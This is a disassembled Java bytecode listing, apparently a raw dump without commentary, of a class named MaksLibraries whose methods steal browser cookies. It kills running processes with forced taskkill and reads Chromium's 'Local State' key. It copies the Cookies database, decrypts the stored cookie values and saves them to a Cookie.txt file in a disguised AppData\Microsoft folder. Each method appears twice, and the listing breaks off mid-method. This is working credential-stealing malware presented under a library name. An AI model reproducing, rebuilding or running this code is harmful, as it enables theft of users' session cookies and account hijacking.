0000a568new #110 // class java/lang/StringBuilder
0000a56bdup
0000a56cinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a56fldc_w #967 // String "user.home"
0000a572invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a575invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a578ldc_w #1320 // String "\\AppData\\Roaming\\Microsoft\\ilr-"
0000a57binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a57eldc_w #1322 // String "user.name"
0000a581invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a584invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a587invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a58ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a58dastore_1
0000a58eaload_1
0000a58finvokevirtual #1087 // Method java/io/File.exists:()Z
0000a592ifne 173
0000a595aload_1
0000a596invokevirtual #930 // Method java/io/File.mkdirs:()Z
0000a599pop
0000a59anew #332 // class java/io/File
0000a59ddup
0000a59eaload_1
0000a59fldc_w #1324 // String "Cookie.txt"
0000a5a2invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a5a5astore_2
0000a5a6new #1177 // class java/io/BufferedWriter
0000a5a9dup
0000a5aanew #602 // class java/io/FileWriter
0000a5addup
0000a5aeaload_2
0000a5afinvokespecial #1325 // Method java/io/FileWriter.<init>:(Ljava/io/File;)V
0000a5b2invokespecial #1182 // Method java/io/BufferedWriter.<init>:(Ljava/io/Writer;)V
0000a5b5astore_3
0000a5b6aconst_null
0000a5b7astore 4
0000a5b9aload_3
0000a5baaload_0
0000a5bbinvokevirtual #1183 // Method java/io/BufferedWriter.write:(Ljava/lang/String;)V
0000a5beaload_3
0000a5bfifnull 290
0000a5c2aload 4
0000a5c4ifnull 237
0000a5c7aload_3
0000a5c8invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5cbgoto 290
0000a5ceastore 5
0000a5d0aload 4
0000a5d2aload 5
0000a5d4invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a5d7goto 290
0000a5daaload_3
0000a5dbinvokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5degoto 290
0000a5e1astore 5
0000a5e3aload 5
0000a5e5astore 4
0000a5e7aload 5
0000a5e9athrow
0000a5eaastore 6
0000a5ecaload_3
0000a5edifnull 287
0000a5f0aload 4
0000a5f2ifnull 283
0000a5f5aload_3
0000a5f6invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5f9goto 287
0000a5fcastore 7
0000a5feaload 4
0000a600aload 7
0000a602invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a605goto 287
0000a608aload_3
0000a609invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a60caload 6
0000a60eathrow
0000a60fgoto 298
0000a612astore_3
0000a613aload_3
0000a614invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a617return
0000a4ed
0000a4edmakslibraries.MaksLibraries::grabCookies():
0000a4edinvokestatic #1303 // Method makslibraries/MaksLibraries.MurderTasks:()V
0000a4f0invokestatic #1306 // Method makslibraries/MaksLibraries.crawlUserDatacc:()V
0000a4f3ldc #108 // String ""
0000a4f5astore_0
0000a4f6getstatic #1308 // Field makslibraries/MaksLibraries.cookies:Lcom/google/gson/JsonArray;
0000a4f9invokevirtual #1311 // Method com/google/gson/JsonArray.iterator:()Ljava/util/Iterator;
0000a4fcastore_1
0000a4fdaload_1
0000a4feinvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000a503ifeq 119
0000a506aload_1
0000a507invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000a50ccheckcast #486 // class com/google/gson/JsonElement
0000a50fastore_2
0000a510new #110 // class java/lang/StringBuilder
0000a513dup
0000a514invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a517aload_0
0000a518invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a51baload_2
0000a51cinvokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a51fldc_w #1313 // String "hostKey"
0000a522invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a525invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a528invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a52bldc_w #1315 // String "\tTRUE\t/\tFALSE\t2597573456\t"
0000a52einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a531aload_2
0000a532invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a535ldc_w #788 // String "name"
0000a538invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a53binvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a53einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a541ldc_w #1317 // String "\t"
0000a544invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a547aload_2
0000a548invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a54bldc_w #1318 // String "value"
0000a54einvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a551invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a554invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a557ldc_w #610 // String "\n"
0000a55ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a55dinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a560astore_0
0000a561goto 16
0000a564new #332 // class java/io/File
0000a567dup
0000a568new #110 // class java/lang/StringBuilder
0000a56bdup
0000a56cinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a56fldc_w #967 // String "user.home"
0000a572invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a575invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a578ldc_w #1320 // String "\\AppData\\Roaming\\Microsoft\\ilr-"
0000a57binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a57eldc_w #1322 // String "user.name"
0000a581invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a584invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a587invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a58ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a58dastore_1
0000a58eaload_1
0000a58finvokevirtual #1087 // Method java/io/File.exists:()Z
0000a592ifne 173
0000a595aload_1
0000a596invokevirtual #930 // Method java/io/File.mkdirs:()Z
0000a599pop
0000a59anew #332 // class java/io/File
0000a59ddup
0000a59eaload_1
0000a59fldc_w #1324 // String "Cookie.txt"
0000a5a2invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a5a5astore_2
0000a5a6new #1177 // class java/io/BufferedWriter
0000a5a9dup
0000a5aanew #602 // class java/io/FileWriter
0000a5addup
0000a5aeaload_2
0000a5afinvokespecial #1325 // Method java/io/FileWriter.<init>:(Ljava/io/File;)V
0000a5b2invokespecial #1182 // Method java/io/BufferedWriter.<init>:(Ljava/io/Writer;)V
0000a5b5astore_3
0000a5b6aconst_null
0000a5b7astore 4
0000a5b9aload_3
0000a5baaload_0
0000a5bbinvokevirtual #1183 // Method java/io/BufferedWriter.write:(Ljava/lang/String;)V
0000a5beaload_3
0000a5bfifnull 290
0000a5c2aload 4
0000a5c4ifnull 237
0000a5c7aload_3
0000a5c8invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5cbgoto 290
0000a5ceastore 5
0000a5d0aload 4
0000a5d2aload 5
0000a5d4invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a5d7goto 290
0000a5daaload_3
0000a5dbinvokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5degoto 290
0000a5e1astore 5
0000a5e3aload 5
0000a5e5astore 4
0000a5e7aload 5
0000a5e9athrow
0000a5eaastore 6
0000a5ecaload_3
0000a5edifnull 287
0000a5f0aload 4
0000a5f2ifnull 283
0000a5f5aload_3
0000a5f6invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5f9goto 287
0000a5fcastore 7
0000a5feaload 4
0000a600aload 7
0000a602invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a605goto 287
0000a608aload_3
0000a609invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a60caload 6
0000a60eathrow
0000a60fgoto 298
0000a612astore_3
0000a613aload_3
0000a614invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a617return
0000a4ed
0000a76a
0000a76amakslibraries.MaksLibraries::MurderTasks():
0000a76agetstatic #1331 // Field makslibraries/MaksLibraries.badtasksanger:[Ljava/lang/String;
0000a76dastore_1
0000a76eaload_1
0000a76farraylength
0000a770istore_2
0000a771iconst_0
0000a772istore_3
0000a773iload_3
0000a774iload_2
0000a775if_icmpge 64
0000a778aload_1
0000a779iload_3
0000a77aaaload
0000a77bastore 4
0000a77dinvokestatic #1337 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
0000a780new #110 // class java/lang/StringBuilder
0000a783dup
0000a784invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a787ldc_w #1339 // String "taskkill /F /IM "
0000a78ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a78daload 4
0000a78finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a792ldc_w #1341 // String ".exe"
0000a795invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a798invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a79binvokevirtual #1345 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
0000a79epop
0000a79fgoto 58
0000a7a2astore 5
0000a7a4iinc 3, 1
0000a7a7goto 9
0000a7aareturn
0000a76a
0000a76amakslibraries.MaksLibraries::MurderTasks():
0000a76agetstatic #1331 // Field makslibraries/MaksLibraries.badtasksanger:[Ljava/lang/String;
0000a76dastore_1
0000a76eaload_1
0000a76farraylength
0000a770istore_2
0000a771iconst_0
0000a772istore_3
0000a773iload_3
0000a774iload_2
0000a775if_icmpge 64
0000a778aload_1
0000a779iload_3
0000a77aaaload
0000a77bastore 4
0000a77dinvokestatic #1337 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
0000a780new #110 // class java/lang/StringBuilder
0000a783dup
0000a784invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a787ldc_w #1339 // String "taskkill /F /IM "
0000a78ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a78daload 4
0000a78finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a792ldc_w #1341 // String ".exe"
0000a795invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a798invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a79binvokevirtual #1345 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
0000a79epop
0000a79fgoto 58
0000a7a2astore 5
0000a7a4iinc 3, 1
0000a7a7goto 9
0000a7aareturn
0000a76a
0000a831
0000a831makslibraries.MaksLibraries::crawlUserDatacc():
0000a831getstatic #1348 // Field makslibraries/MaksLibraries.paths:Ljava/util/HashMap;
0000a834invokevirtual #1349 // Method java/util/HashMap.keySet:()Ljava/util/Set;
0000a837invokeinterface #1085 // Method java/util/Set.iterator:()Ljava/util/Iterator;
0000a83castore_0
0000a83daload_0
0000a83einvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000a843ifeq 182
0000a846aload_0
0000a847invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000a84ccheckcast #91 // class java/lang/String
0000a84fastore_1
0000a850new #332 // class java/io/File
0000a853dup
0000a854getstatic #1348 // Field makslibraries/MaksLibraries.paths:Ljava/util/HashMap;
0000a857aload_1
0000a858invokevirtual #1350 // Method java/util/HashMap.get:(Ljava/lang/Object;)Ljava/lang/Object;
0000a85bcheckcast #91 // class java/lang/String
0000a85einvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a861astore_2
0000a862aload_2
0000a863invokevirtual #1087 // Method java/io/File.exists:()Z
0000a866ifne 59
0000a869goto 12
0000a86cnew #332 // class java/io/File
0000a86fdup
0000a870aload_2
0000a871ldc_w #468 // String "Local State"
0000a874invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a877invokestatic #1353 // Method makslibraries/MaksLibraries.getKeyсс:(Ljava/io/File;)[B
0000a87aastore_3
0000a87bnew #332 // class java/io/File
0000a87edup
0000a87faload_2
0000a880ldc_w #1355 // String "Default\\Network"
0000a883invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a886astore 4
0000a888aload 4
0000a88ainvokevirtual #1087 // Method java/io/File.exists:()Z
0000a88difne 98
0000a890goto 12
0000a893getstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
0000a896new #110 // class java/lang/StringBuilder
0000a899dup
0000a89ainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a89dldc_w #1357 // String "5"
0000a8a0invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a8a3aload_1
0000a8a4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a8a7invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a8aainvokevirtual #152 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
0000a8adaload 4
0000a8afinvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000a8b2astore 5
0000a8b4aload 5
0000a8b6arraylength
0000a8b7istore 6
0000a8b9iconst_0
0000a8baistore 7
0000a8bciload 7
0000a8beiload 6
0000a8c0if_icmpge 179
0000a8c3aload 5
0000a8c5iload 7
0000a8c7aaload
0000a8c8astore 8
0000a8caaload 8
0000a8ccinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000a8cfldc_w #1359 // String "Cookies"
0000a8d2invokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
0000a8d5ifeq 173
0000a8d8aload 8
0000a8daaload_3
0000a8dbinvokestatic #1363 // Method makslibraries/MaksLibraries.crawlCookiesсс:(Ljava/io/File;[B)V
0000a8deiinc 7, 1
0000a8e1goto 139
0000a8e4goto 12
0000a8e7return
0000a831
0000a831makslibraries.MaksLibraries::crawlUserDatacc():
0000a831getstatic #1348 // Field makslibraries/MaksLibraries.paths:Ljava/util/HashMap;
0000a834invokevirtual #1349 // Method java/util/HashMap.keySet:()Ljava/util/Set;
0000a837invokeinterface #1085 // Method java/util/Set.iterator:()Ljava/util/Iterator;
0000a83castore_0
0000a83daload_0
0000a83einvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000a843ifeq 182
0000a846aload_0
0000a847invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000a84ccheckcast #91 // class java/lang/String
0000a84fastore_1
0000a850new #332 // class java/io/File
0000a853dup
0000a854getstatic #1348 // Field makslibraries/MaksLibraries.paths:Ljava/util/HashMap;
0000a857aload_1
0000a858invokevirtual #1350 // Method java/util/HashMap.get:(Ljava/lang/Object;)Ljava/lang/Object;
0000a85bcheckcast #91 // class java/lang/String
0000a85einvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a861astore_2
0000a862aload_2
0000a863invokevirtual #1087 // Method java/io/File.exists:()Z
0000a866ifne 59
0000a869goto 12
0000a86cnew #332 // class java/io/File
0000a86fdup
0000a870aload_2
0000a871ldc_w #468 // String "Local State"
0000a874invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a877invokestatic #1353 // Method makslibraries/MaksLibraries.getKeyсс:(Ljava/io/File;)[B
0000a87aastore_3
0000a87bnew #332 // class java/io/File
0000a87edup
0000a87faload_2
0000a880ldc_w #1355 // String "Default\\Network"
0000a883invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a886astore 4
0000a888aload 4
0000a88ainvokevirtual #1087 // Method java/io/File.exists:()Z
0000a88difne 98
0000a890goto 12
0000a893getstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
0000a896new #110 // class java/lang/StringBuilder
0000a899dup
0000a89ainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a89dldc_w #1357 // String "5"
0000a8a0invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a8a3aload_1
0000a8a4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a8a7invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a8aainvokevirtual #152 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
0000a8adaload 4
0000a8afinvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000a8b2astore 5
0000a8b4aload 5
0000a8b6arraylength
0000a8b7istore 6
0000a8b9iconst_0
0000a8baistore 7
0000a8bciload 7
0000a8beiload 6
0000a8c0if_icmpge 179
0000a8c3aload 5
0000a8c5iload 7
0000a8c7aaload
0000a8c8astore 8
0000a8caaload 8
0000a8ccinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000a8cfldc_w #1359 // String "Cookies"
0000a8d2invokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
0000a8d5ifeq 173
0000a8d8aload 8
0000a8daaload_3
0000a8dbinvokestatic #1363 // Method makslibraries/MaksLibraries.crawlCookiesсс:(Ljava/io/File;[B)V
0000a8deiinc 7, 1
0000a8e1goto 139
0000a8e4goto 12
0000a8e7return
0000a831
0000a9ae
0000a9aemakslibraries.MaksLibraries::crawlCookiesсс(java.io.File, byte[]):
0000a9aegetstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000a9b1bipush 10
0000a9b3if_icmpge 261
0000a9b6ldc_w #1370 // String "TempCookies"
0000a9b9aconst_null
0000a9bainvokestatic #1374 // Method java/io/File.createTempFile:(Ljava/lang/String;Ljava/lang/String;)Ljava/io/File;
0000a9bdastore_2
0000a9beaload_2
0000a9bfinvokevirtual #1210 // Method java/io/File.deleteOnExit:()V
0000a9c2aload_0
0000a9c3invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000a9c6aload_2
0000a9c7invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000a9caiconst_1
0000a9cbanewarray #1111 // class java/nio/file/CopyOption
0000a9cedup
0000a9cficonst_0
0000a9d0getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000a9d3aastore
0000a9d4invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000a9d7pop
0000a9d8invokestatic #1378 // Method makslibraries/MaksLibraries.getDriverсс:()Ljava/sql/Driver;
0000a9dbastore_3
0000a9dcnew #1127 // class java/util/Properties
0000a9dfdup
0000a9e0invokespecial #1128 // Method java/util/Properties.<init>:()V
0000a9e3astore 4
0000a9e5aload_3
0000a9e6new #110 // class java/lang/StringBuilder
0000a9e9dup
0000a9eainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a9edldc_w #1130 // String "jdbc:sqlite:"
0000a9f0invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a9f3aload_2
0000a9f4invokevirtual #1133 // Method java/io/File.getAbsolutePath:()Ljava/lang/String;
0000a9f7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a9fainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a9fdaload 4
0000a9ffinvokeinterface #1138 // Method java/sql/Driver.connect:(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;
0000aa04astore 5
0000aa06aload 5
0000aa08invokeinterface #1144 // Method java/sql/Connection.createStatement:()Ljava/sql/Statement;
0000aa0dldc_w #1380 // String "SELECT host_key, name, encrypted_value FROM cookies"
0000aa10invokeinterface #1152 // Method java/sql/Statement.executeQuery:(Ljava/lang/String;)Ljava/sql/ResultSet;
0000aa15astore 6
0000aa17aload 6
0000aa19invokeinterface #1156 // Method java/sql/ResultSet.next:()Z
0000aa1eifeq 228
0000aa21aload 6
0000aa23iconst_1
0000aa24invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
0000aa29astore 7
0000aa2baload 6
0000aa2diconst_2
0000aa2einvokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
0000aa33astore 8
0000aa35aload 6
0000aa37iconst_3
0000aa38invokeinterface #1159 // Method java/sql/ResultSet.getBytes:(I)[B
0000aa3dastore 9
0000aa3faload 7
0000aa41ifnull 225
0000aa44aload 8
0000aa46ifnull 225
0000aa49aload 9
0000aa4bifnull 225
0000aa4eaload 9
0000aa50aload_1
0000aa51invokestatic #1383 // Method makslibraries/MaksLibraries.decryptcc:([B[B)Ljava/lang/String;
0000aa54astore 10
0000aa56aload 10
0000aa58ldc #108 // String ""
0000aa5ainvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
0000aa5difne 225
0000aa60new #475 // class com/google/gson/JsonObject
0000aa63dup
0000aa64invokespecial #1384 // Method com/google/gson/JsonObject.<init>:()V
0000aa67astore 11
0000aa69aload 11
0000aa6bldc_w #1313 // String "hostKey"
0000aa6eaload 7
0000aa70invokevirtual #1387 // Method com/google/gson/JsonObject.addProperty:(Ljava/lang/String;Ljava/lang/String;)V
0000aa73aload 11
0000aa75ldc_w #788 // String "name"
0000aa78aload 8
0000aa7ainvokevirtual #1387 // Method com/google/gson/JsonObject.addProperty:(Ljava/lang/String;Ljava/lang/String;)V
0000aa7daload 11
0000aa7fldc_w #1318 // String "value"
0000aa82aload 10
0000aa84invokevirtual #1387 // Method com/google/gson/JsonObject.addProperty:(Ljava/lang/String;Ljava/lang/String;)V
0000aa87getstatic #1308 // Field makslibraries/MaksLibraries.cookies:Lcom/google/gson/JsonArray;
0000aa8aaload 11
0000aa8cinvokevirtual #1390 // Method com/google/gson/JsonArray.add:(Lcom/google/gson/JsonElement;)V
0000aa8fgoto 105
0000aa92goto 261
0000aa95astore_2
0000aa96getstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000aa99iconst_1
0000aa9aiadd
0000aa9bputstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000aa9egetstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
0000aaa1getstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000aaa4invokevirtual #1393 // Method java/io/PrintStream.println:(I)V
0000aaa7aload_0
0000aaa8aload_1
0000aaa9invokestatic #1363 // Method makslibraries/MaksLibraries.crawlCookiesсс:(Ljava/io/File;[B)V
0000aaacgoto 0
0000aaafastore_2
0000aab0goto 261
0000aab3return
0000a9ae
0000a9aemakslibraries.MaksLibraries::crawlCookiesсс(java.io.File, byte[]):
0000a9aegetstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000a9b1bipush 10
0000a9b3if_icmpge 261
0000a9b6ldc_w #1370 // String "TempCookies"
0000a9b9aconst_null
0000a9bainvokestatic #1374 // Method java/io/File.createTempFile:(Ljava/lang/String;Ljava/lang/String;)Ljava/io/File;
0000a9bdastore_2
0000a9beaload_2
0000a9bfinvokevirtual #1210 // Method java/io/File.deleteOnExit:()V
0000a9c2aload_0
0000a9c3invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000a9c6aload_2
0000a9c7invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000a9caiconst_1
0000a9cbanewarray #1111 // class java/nio/file/CopyOption
0000a9cedup
0000a9cficonst_0
0000a9d0getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000a9d3aastore
0000a9d4invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000a9d7pop
0000a9d8invokestatic #1378 // Method makslibraries/MaksLibraries.getDriverсс:()Ljava/sql/Driver;
0000a9dbastore_3
0000a9dcnew #1127 // class java/util/Properties
0000a9dfdup
0000a9e0invokespecial #1128 // Method java/util/Properties.<init>:()V
0000a9e3astore 4
0000a9e5aload_3
0000a9e6new #110 // class java/lang/StringBuilder
0000a9e9dup
0000a9eainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a9edldc_w #1130 // String "jdbc:sqlite:"
0000a9f0invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a9f3aload_2
0000a9f4invokevirtual #1133 // Method java/io/File.getAbsolutePath:()Ljava/lang/String;
0000a9f7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a9fainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a9fdaload 4
0000a9ffinvokeinterface #1138 // Method java/sql/Driver.connect:(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;
0000aa04astore 5
0000aa06aload 5
0000aa08invokeinterface #1144 // Method java/sql/Connection.createStatement:()Ljava/sql/Statement;
0000aa0dldc_w #1380 // String "SELECT host_key, name, encrypted_value FROM cookies"
0000aa10invokeinterface #1152 // Method java/sql/Statement.executeQuery:(Ljava/lang/String;)Ljava/sql/ResultSet;
0000aa15astore 6
0000aa17aload 6
0000aa19invokeinterface #1156 // Method java/sql/ResultSet.next:()Z
0000aa1eifeq 228
0000aa21aload 6
0000aa23iconst_1
0000aa24invokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
0000aa29astore 7
0000aa2baload 6
0000aa2diconst_2
0000aa2einvokeinterface #1165 // Method java/sql/ResultSet.getString:(I)Ljava/lang/String;
0000aa33astore 8
0000aa35aload 6
0000aa37iconst_3
0000aa38invokeinterface #1159 // Method java/sql/ResultSet.getBytes:(I)[B
0000aa3dastore 9
0000aa3faload 7
0000aa41ifnull 225
0000aa44aload 8
0000aa46ifnull 225
0000aa49aload 9
0000aa4bifnull 225
0000aa4eaload 9
0000aa50aload_1
0000aa51invokestatic #1383 // Method makslibraries/MaksLibraries.decryptcc:([B[B)Ljava/lang/String;
0000aa54astore 10
0000aa56aload 10
0000aa58ldc #108 // String ""
0000aa5ainvokevirtual #427 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
0000aa5difne 225
0000aa60new #475 // class com/google/gson/JsonObject
0000aa63dup
0000aa64invokespecial #1384 // Method com/google/gson/JsonObject.<init>:()V
0000aa67astore 11
0000aa69aload 11
0000aa6bldc_w #1313 // String "hostKey"
0000aa6eaload 7
0000aa70invokevirtual #1387 // Method com/google/gson/JsonObject.addProperty:(Ljava/lang/String;Ljava/lang/String;)V
0000aa73aload 11
0000aa75ldc_w #788 // String "name"
0000aa78aload 8
0000aa7ainvokevirtual #1387 // Method com/google/gson/JsonObject.addProperty:(Ljava/lang/String;Ljava/lang/String;)V
0000aa7daload 11
0000aa7fldc_w #1318 // String "value"
0000aa82aload 10
0000aa84invokevirtual #1387 // Method com/google/gson/JsonObject.addProperty:(Ljava/lang/String;Ljava/lang/String;)V
0000aa87getstatic #1308 // Field makslibraries/MaksLibraries.cookies:Lcom/google/gson/JsonArray;
0000aa8aaload 11
0000aa8cinvokevirtual #1390 // Method com/google/gson/JsonArray.add:(Lcom/google/gson/JsonElement;)V
0000aa8fgoto 105
0000aa92goto 261
0000aa95astore_2
0000aa96getstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000aa99iconst_1
0000aa9aiadd
0000aa9bputstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000aa9egetstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
